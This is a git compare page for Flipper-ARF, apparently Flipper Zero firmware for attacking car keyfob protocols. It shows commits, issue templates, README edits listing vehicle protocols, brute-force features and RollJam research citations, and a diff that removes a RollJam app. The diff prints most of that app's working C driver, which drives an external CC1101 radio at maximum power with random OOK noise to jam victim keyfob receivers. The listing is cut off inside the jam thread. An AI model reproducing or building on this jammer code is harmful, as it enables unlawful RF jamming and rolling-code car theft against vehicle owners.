Compare commits

...

19 Commits

Author SHA1 Message Date
Andrea
e116abaa9b Revise keyfob emulation details and update To Do list
Updated the README to reflect changes in keyfob emulation and Keeloq Key Manager status.
2026-03-11 21:20:18 +01:00
Andrea Santaniello
fd9564e301 Citations [wip] 2026-03-11 20:47:31 +01:00
Andrea Santaniello
de133ebe09 Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-11 19:39:04 +01:00
Andrea Santaniello
fc03342591 Issue templates 2026-03-11 19:30:14 +01:00
David
bfdf60944f Remove unused fields from Kia V5 protocol 2026-03-11 18:48:03 +01:00
David
0290f601a0 Remove NULL function pointers from Kia V3/V4 protocol
Removed unused function pointers from the Kia V3/V4 protocol structure.
2026-03-11 18:47:07 +01:00
David
2e5648f3f4 Refactor Kia V5 protocol functions and includes 2026-03-11 17:59:35 +01:00
David
cffd268950 Update 2026-03-11 17:59:14 +01:00
David
ddb85d034f Refactor Kia V3/V4 protocol functions and types 2026-03-11 17:58:44 +01:00
David
55f770328c Update 2026-03-11 17:58:20 +01:00
Andrea Santaniello
75a5334a9b Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-11 17:39:27 +01:00
Andrea Santaniello
696041410b Fixes 2026-03-11 17:38:35 +01:00
Andrea
72d3992092 Update Fiat Mystery to Fiat Marelli in README 2026-03-11 15:01:14 +01:00
Andrea Santaniello
c1d145c9cc Updated fiat mistery (magneti marelli BSI) 2026-03-11 14:48:19 +01:00
d4rks1d33
6507bed882 Kia V0/V1/V2 now fully working 2026-03-10 13:36:26 -03:00
d4rks1d33
2d8f3563f9 Removed RollJam app until fully works 2026-03-10 00:15:38 -03:00
root
aa03d590d5 Kia V1 working d-pad 2026-03-10 00:10:15 -03:00
David
c1d1b654f2 Update modulation and frequency for several manufacturers 2026-03-09 14:33:49 +01:00
Andrea Santaniello
6cd7812939 removed passport 2026-03-08 21:35:28 +01:00
43 changed files with 1185 additions and 3279 deletions

View File

@@ -1,45 +1,77 @@
name: Bug report name: Bug Report
description: File a bug reports regarding the firmware. description: Report a bug in Flipper-ARF firmware.
labels: ["bug"] labels: ["bug"]
body: body:
- type: markdown - type: markdown
attributes: attributes:
value: | value: |
Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero unleashed firmware. Thanks for reporting a bug in Flipper-ARF. Please fill in as much detail as possible.
- type: input
id: firmware-version
attributes:
label: Firmware version
description: "ARF version or git commit hash."
placeholder: "e.g. ARF 0.1.2 or commit abc1234"
validations:
required: true
- type: dropdown
id: hardware
attributes:
label: Hardware setup
description: "Which hardware configuration are you using?"
options:
- Flipper Zero (stock)
- Flipper Zero (modded antenna)
- Flipper Zero + external CC1101
- Other (describe below)
validations:
required: true
- type: input
id: protocol
attributes:
label: Protocol affected
description: "Which protocol is affected, if applicable?"
placeholder: "e.g. Kia V3/V4, PSA GROUP, Keeloq, Fiat Mystery"
- type: input
id: frequency
attributes:
label: Frequency & modulation
description: "RF frequency and modulation used, if relevant."
placeholder: "e.g. 433.92 MHz AM"
- type: textarea - type: textarea
id: description id: description
attributes: attributes:
label: Describe the bug. label: Bug description
description: "A clear and concise description of what the bug is." description: "A clear and concise description of the bug."
validations: validations:
required: true required: true
- type: textarea - type: textarea
id: repro id: repro
attributes: attributes:
label: Reproduction label: Steps to reproduce
description: "How can this bug be reproduced?" description: "How can this bug be reproduced?"
placeholder: | placeholder: |
1. Switch on... 1. Open SubGhz app
2. Press button '....' 2. Load saved .sub file
3. Wait for the moon phase 3. Press Send
4. It burns 4. Observe error / unexpected behavior
validations: validations:
required: true required: true
- type: input - type: textarea
id: target id: expected
attributes: attributes:
label: Target label: Expected vs actual behavior
description: Specify the target description: "What did you expect to happen, and what actually happened?"
# Target seems to be largely ignored by outside sources. validations:
required: true
- type: textarea - type: textarea
id: logs id: logs
attributes: attributes:
label: Logs label: Logs / screenshots
description: Attach your debug logs here description: "Attach debug logs (via serial CLI) or screenshots if available."
render: Text render: Text
# Avoid rendering as Markdown here.
- type: textarea - type: textarea
id: anything-else id: anything-else
attributes: attributes:
label: Anything else? label: Additional context
description: Let us know if you have anything else to share. description: "Any other information that might help (vehicle model, .sub file contents, etc.)."

View File

@@ -1,20 +0,0 @@
name: Enhancements
description: Suggest improvements for any existing functionality within the firmware.
body:
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue. This template is meant for feature requests and improvements to already existing functionality.
- type: textarea
id: proposal
attributes:
label: "Describe the enhancement you're suggesting."
description: |
Feel free to describe in as much detail as you wish.
validations:
required: true
- type: textarea
id: anything-else
attributes:
label: Anything else?
description: Let us know if you have anything else to share.

View File

@@ -1,23 +1,46 @@
name: Feature Request name: Feature Request
description: For feature requests regarding the firmware. description: Suggest a new feature or improvement for Flipper-ARF.
labels: ["feature request"] labels: ["feature request"]
body: body:
- type: markdown - type: markdown
attributes: attributes:
value: | value: |
Thank you for taking the time to fill out an issue, this template is meant for any feature suggestions. Thanks for suggesting a feature for Flipper-ARF. Please describe your idea in detail.
- type: textarea - type: dropdown
id: proposal id: category
attributes: attributes:
label: "Description of the feature you're suggesting." label: Category
description: | description: "What area does this feature fall under?"
Please describe your feature request in as many details as possible. options:
- Describe what it should do. - New protocol
- Note whetever it is to extend existing functionality or introduce new functionality. - Protocol improvement
- UI / UX
- Build system / tooling
- Other
validations:
required: true
- type: input
id: manufacturer
attributes:
label: Manufacturer / protocol
description: "Which manufacturer or protocol is this related to, if applicable?"
placeholder: "e.g. Toyota, Renault, Keeloq"
- type: textarea
id: description
attributes:
label: Description
description: "Describe the feature you're suggesting."
validations:
required: true
- type: textarea
id: use-case
attributes:
label: Use case
description: "Why is this needed? What problem does it solve?"
validations: validations:
required: true required: true
- type: textarea - type: textarea
id: anything-else id: anything-else
attributes: attributes:
label: Anything else? label: Additional context
description: Let us know if you have anything else to share. description: "Any references, datasheets, links, or examples that support this request."

View File

@@ -0,0 +1,111 @@
name: Protocol / Algorithm Submission
description: Submit a new protocol decoder, encoder, or cipher implementation.
labels: ["protocol", "contribution"]
body:
- type: markdown
attributes:
value: |
Use this template to submit a new protocol implementation or algorithm for inclusion in Flipper-ARF.
Include as much technical detail as possible — timing, frame structure, cipher type, and test captures.
- type: input
id: protocol-name
attributes:
label: Protocol name
description: "Name for the protocol (as it should appear in the firmware)."
placeholder: "e.g. Renault V2, Opel Corsa, Nissan V0"
validations:
required: true
- type: input
id: manufacturer
attributes:
label: Manufacturer / vehicle
description: "Which manufacturer or vehicles use this protocol?"
placeholder: "e.g. Renault Clio 2010-2018, Opel/Vauxhall Corsa D"
validations:
required: true
- type: input
id: frequency
attributes:
label: Frequency & modulation
description: "RF frequency and modulation type."
placeholder: "e.g. 433.92 MHz FM (FSK)"
validations:
required: true
- type: dropdown
id: encoding
attributes:
label: Encoding
description: "How are bits encoded in the RF signal?"
options:
- PWM (Pulse Width Modulation)
- Manchester
- Differential Manchester
- OOK raw
- Other (describe in frame structure)
validations:
required: true
- type: textarea
id: timing
attributes:
label: Timing parameters
description: "Provide timing values for the protocol."
placeholder: |
te_short: 400 us
te_long: 800 us
te_delta: 150 us
Preamble: 16 pairs of alternating short pulses
Sync: 1200 us HIGH
Gap: 10000 us between bursts
validations:
required: true
- type: textarea
id: frame-structure
attributes:
label: Frame structure
description: "Describe the bit layout — field positions, sizes, fixed vs rolling parts."
placeholder: |
Total bits: 68
Bits 0-31: Encrypted (KeeLoq)
Bits 32-59: Serial (28 bits)
Bits 60-63: Button code (4 bits)
Bits 64-67: CRC (4 bits, XOR of nibbles)
validations:
required: true
- type: dropdown
id: cipher
attributes:
label: Cipher / rolling code type
description: "What cipher or rolling code scheme does this protocol use?"
options:
- None (static code)
- KeeLoq
- AES
- TEA / XTEA
- Hitag2
- Custom / proprietary
- Unknown (needs analysis)
validations:
required: true
- type: dropdown
id: status
attributes:
label: Implementation status
description: "How far along is the implementation?"
options:
- Concept only (analysis / documentation)
- Decoder working
- Encoder working
- Both decoder and encoder working
validations:
required: true
- type: textarea
id: captures
attributes:
label: Test captures
description: "Paste .sub file contents or raw pulse data for validation. Attach files if too large."
render: Text
- type: textarea
id: references
attributes:
label: References
description: "Links to datasheets, research papers, FCC filings, or related projects."

View File

@@ -0,0 +1,99 @@
name: Key Recording Submission
description: Contribute captured keyfob recordings for protocol analysis.
labels: ["recording", "data"]
body:
- type: markdown
attributes:
value: |
Use this template to submit captured keyfob recordings (.sub files or raw data).
These recordings help with protocol reverse engineering, decoder validation, and cipher analysis.
**Tips for useful captures:**
- Record 10+ sequential presses per button without long gaps
- Note the exact button pressed for each capture
- If possible, capture from multiple buttons on the same fob
- Include the vehicle make, model, and year
- type: input
id: vehicle
attributes:
label: Vehicle / device
description: "Make, model, year, and any relevant trim info."
placeholder: "e.g. 2015 Fiat Panda 1.2 Pop"
validations:
required: true
- type: dropdown
id: protocol
attributes:
label: Protocol (if known)
description: "Which protocol was detected, or select Unknown if not yet identified."
options:
- Unknown / new protocol
- VAG GROUP
- Cayenne
- PSA GROUP
- Ford V0
- Fiat SpA
- Fiat Mystery
- Subaru
- Siemens (Mazda)
- Kia V0
- Kia V1
- Kia V2
- Kia V3/V4
- Kia V5
- Kia V6
- Suzuki
- Mitsubishi V0
- Keeloq
- Other (specify below)
validations:
required: true
- type: input
id: frequency
attributes:
label: Frequency & modulation used
description: "The frequency and modulation setting used during capture."
placeholder: "e.g. 433.92 MHz AM650"
validations:
required: true
- type: input
id: buttons
attributes:
label: Button / function
description: "Which buttons were recorded and what they do."
placeholder: "e.g. Lock (Btn A), Unlock (Btn B), Trunk (Btn C)"
validations:
required: true
- type: input
id: num-captures
attributes:
label: Number of captures
description: "How many presses were recorded per button?"
placeholder: "e.g. 10 sequential presses per button"
validations:
required: true
- type: dropdown
id: capture-method
attributes:
label: Capture method
description: "How were the signals captured?"
options:
- SubGhz Read RAW
- SubGhz decoded (saved .sub)
- External SDR (HackRF, RTL-SDR, etc.)
- Other
validations:
required: true
- type: textarea
id: capture-data
attributes:
label: Capture data
description: "Paste .sub file contents here, or attach files. For multiple files, use separate code blocks labeled by button."
render: Text
validations:
required: true
- type: textarea
id: notes
attributes:
label: Notes
description: "Any observations — counter gaps, time between captures, battery changes, multiple fobs, etc."

View File

@@ -1,8 +1 @@
blank_issues_enabled: true blank_issues_enabled: true
contact_links:
- name: Telegram
url: https://t.me/flipperzero_unofficial
about: Unofficial Telegram chat
- name: Discord
url: https://discord.unleashedflip.com
about: Unofficial Discord Community

View File

@@ -1,13 +1,25 @@
# What's new ## Summary
- [ Describe changes here ] <!-- What changed and why? Keep it concise. -->
# Verification ## Protocol(s) affected
- [ Describe how to verify changes ] <!-- Which protocol(s) does this PR touch? e.g. Kia V3/V4, PSA GROUP, none -->
# Checklist (For Reviewer) ## Type of change
- [ ] PR has description of feature/bug - [ ] Bug fix
- [ ] Description contains actions to verify feature/bugfix - [ ] New protocol
- [ ] I've built this code, uploaded it to the device and verified feature/bugfix - [ ] Protocol improvement (encoder/decoder/display)
- [ ] Build system / infrastructure
- [ ] Other
## Testing
<!-- How was this verified? Include hardware used, captures tested, etc. -->
## Checklist
- [ ] Built with `./fbt COMPACT=1 DEBUG=0 updater_package` (no errors)
- [ ] Flashed and tested on Flipper Zero
- [ ] No regressions in other protocols

View File

@@ -31,19 +31,19 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|:---|:---|:---:|:---:|:---:|:---:| |:---|:---|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | | VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | | Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | FM | Yes | Yes | | PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes |
| Ford | Ford V0 | 433 MHz | FM | Yes | Yes | | Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | FM | Yes | Yes | | Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes |
| Fiat | Fiat Mystery | 433 MHz | FM | No | Yes | | Fiat | Fiat Marelli | 433 MHz | AM | No | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | | Subaru | Subaru | 433 MHz | AM | Yes | Yes |
| Mazda | Siemens (5WK49365D) | 433 MHz | FM | Yes | Yes | | Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | | Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | | Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | | Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | | Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | | Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | | Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | AM | Yes | Yes | | Suzuki | Suzuki | 433 MHz | FM | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | | Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes |
### Gate / Access Protocols ### Gate / Access Protocols
@@ -123,16 +123,16 @@ Flipper-ARF aims to achieve:
- [x] D-Pad mapping (Lock / Unlock / Boot / Trunk) during emulation - [x] D-Pad mapping (Lock / Unlock / Boot / Trunk) during emulation
- [x] VAG MFKey support and updated Keeloq codes - [x] VAG MFKey support and updated Keeloq codes
- [x] PSA XTEA brute force for saved → emulation workflow - [x] PSA XTEA brute force for saved → emulation workflow
- [x] Brute force of counter in saved → emulation scene for smoother keyfob emulation - [x] Brute force of counter in saved → can be accellerated trough the companion app via bluetooth
- [x] RollJam app (Internal CC1101 for RX & TX captured signal; External CC1101 for jamming) — requires more real-world testing - [x] RollJam app (Internal CC1101 for RX & TX captured signal; External CC1101 for jamming) — requires more real-world testing
--- ---
## To Do / Planned Features ## To Do / Planned Features
- [ ] Keeloq Key Manager inside firmware - [X] Keeloq Key Manager inside firmware
- [ ] Add Scher Khan & Starline protocols - [ ] Add Scher Khan & Starline protocols
- [ ] Fix and reintegrate RollJam Pro app - [ ] Fix and reintegrate RollJam app (future updates)
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols - [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Improve collaboration workflow to avoid overlapping work - [ ] Improve collaboration workflow to avoid overlapping work
@@ -175,7 +175,54 @@ Contributions are welcome if they:
> Non-automotive features are considered out-of-scope for now. > Non-automotive features are considered out-of-scope for now.
### This code is a mess! ### This code is a mess!
![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg) ![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg)
---
## Citations & References
The following academic publications have been invaluable to the development and understanding of the protocols implemented in this firmware.
### Automotive RKE Security
- **Lock It and Still Lose It — On the (In)Security of Automotive Remote Keyless Entry Systems**
Flavio D. Garcia, David Oswald, Timo Kasper, Pierre Pavlidès
*USENIX Security 2016*
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf
- **Clonable Key Fobs: Analyzing and Breaking RKE Protocols**
Roberto Gesteira-Miñarro, Gregorio López, Rafael Palacios
*International Journal of Information Security, Springer, May 2025, 24(3)*
DOI: [10.1007/s10207-025-01063-7](https://doi.org/10.1007/s10207-025-01063-7)
- **The Role of Cryptographic Techniques in Remote Keyless Entry (RKE) Systems**
Jananga Chiran — Sri Lanka Institute of Information Technology
*November 2023*
DOI: [10.5281/zenodo.14677864](https://doi.org/10.5281/zenodo.14677864)
### Immobiliser & Transponder Systems
- **Dismantling DST80-based Immobiliser Systems**
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2*
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
### RFID & Protocol Analysis Tooling
- **A Toolbox for RFID Protocol Analysis**
Flavio D. Garcia
*IEEE International Conference on RFID, 2012*
DOI: [10.1109/rfid.2012.19](https://doi.org/10.1109/rfid.2012.19)
### Relay & Replay Attacks
- **Implementing and Testing RollJam on Software-Defined Radios**
*Università di Bologna (UNIBO), CRIS*
https://cris.unibo.it/handle/11585/999874
- **Enhanced Vehicular Roll-Jam Attack Using a Known Noise Source**
*Inaugural International Symposium on Vehicle Security & Privacy, January 2023*
DOI: [10.14722/vehiclesec.2023.23037](https://doi.org/10.14722/vehiclesec.2023.23037)
--- ---
# Disclaimer # Disclaimer

View File

@@ -1,23 +0,0 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)

View File

@@ -1,534 +0,0 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// ============================================================
static bool otg_was_enabled = false;
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// ============================================================
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
// ============================================================
// JAMMING APPROACH: Random OOK noise via FIFO
// ============================================================
/*
* Previous approaches and their problems:
*
* 1. FIFO random data (first attempt):
* - 100% underflow because data rate was too high
*
* 2. Broadband GDO0 toggling:
* - Self-interference with internal CC1101
*
* 3. Pure CW carrier:
* - Too weak/narrow to jam effectively
*
* NEW APPROACH: Low data rate FIFO feeding
*
* Key insight: the underflow happened because data rate was
* 115 kBaud and we couldn't feed the FIFO fast enough from
* the thread (furi_delay + SPI overhead).
*
* Solution: Use LOW data rate (~1.2 kBaud) so the FIFO
* drains very slowly. 64 bytes at 1.2 kBaud lasts ~426ms!
* That's plenty of time to refill.
*
* At 1.2 kBaud with random data, the OOK signal creates
* random on/off keying with ~833us per bit. This produces
* a modulated signal with ~1.2kHz bandwidth - enough to
* disrupt OOK receivers but narrow enough to not self-jam.
*
* Combined with the 700kHz offset, this is:
* - Visible on spectrum analyzers (modulated signal)
* - Effective at disrupting victim receivers
* - NOT interfering with our narrow 58kHz RX
*/
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
cc_idle();
// GDO0: TX FIFO threshold
cc_write(CC_IOCFG0, 0x02); // GDO0 asserts when TX FIFO below threshold
cc_write(CC_IOCFG2, 0x0E); // Carrier sense
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// ============================================================
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: LOW-RATE OOK NOISE MODE");
FURI_LOG_I(TAG, "Target: %lu Jam: %lu (+%lu)",
app->frequency, app->jam_frequency, (uint32_t)JAM_OFFSET_HZ);
FURI_LOG_I(TAG, "========================================");
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
return -1;
}
if(!cc_configure_jam(app->jam_frequency)) {
FURI_LOG_E(TAG, "JAM: Config failed!");
return -1;
}
// PRNG state
uint32_t prng = 0xDEADBEEF ^ (uint32_t)(app->jam_frequency);
// Flush TX FIFO
cc_strobe(CC_SFTX);
furi_delay_ms(1);
// Pre-fill FIFO with random data (64 bytes max FIFO)
uint8_t noise[62];
for(uint8_t i = 0; i < 62; i++) {
prng ^= prng << 13;
prng ^= prng >> 17;
prng ^= prng << 5;
noise[i] = (uint8_t)(prng & 0xFF);
}
cc_write_burst(CC_TXFIFO, noise, 62);
uint8_t txb = cc_txbytes();
FURI_LOG_I(TAG, "JAM: FIFO pre-filled, txbytes=%d", txb);
// Enter TX
cc_strobe(CC_STX);
furi_delay_ms(5);
uint8_t st = cc_state();
FURI_LOG_I(TAG, "JAM: After STX state=0x%02X", st);
if(st != MARC_TX) {
// Retry
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, noise, 62);
cc_strobe(CC_STX);
furi_delay_ms(5);
st = cc_state();
FURI_LOG_I(TAG, "JAM: Retry state=0x%02X", st);
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
return -1;
}
}
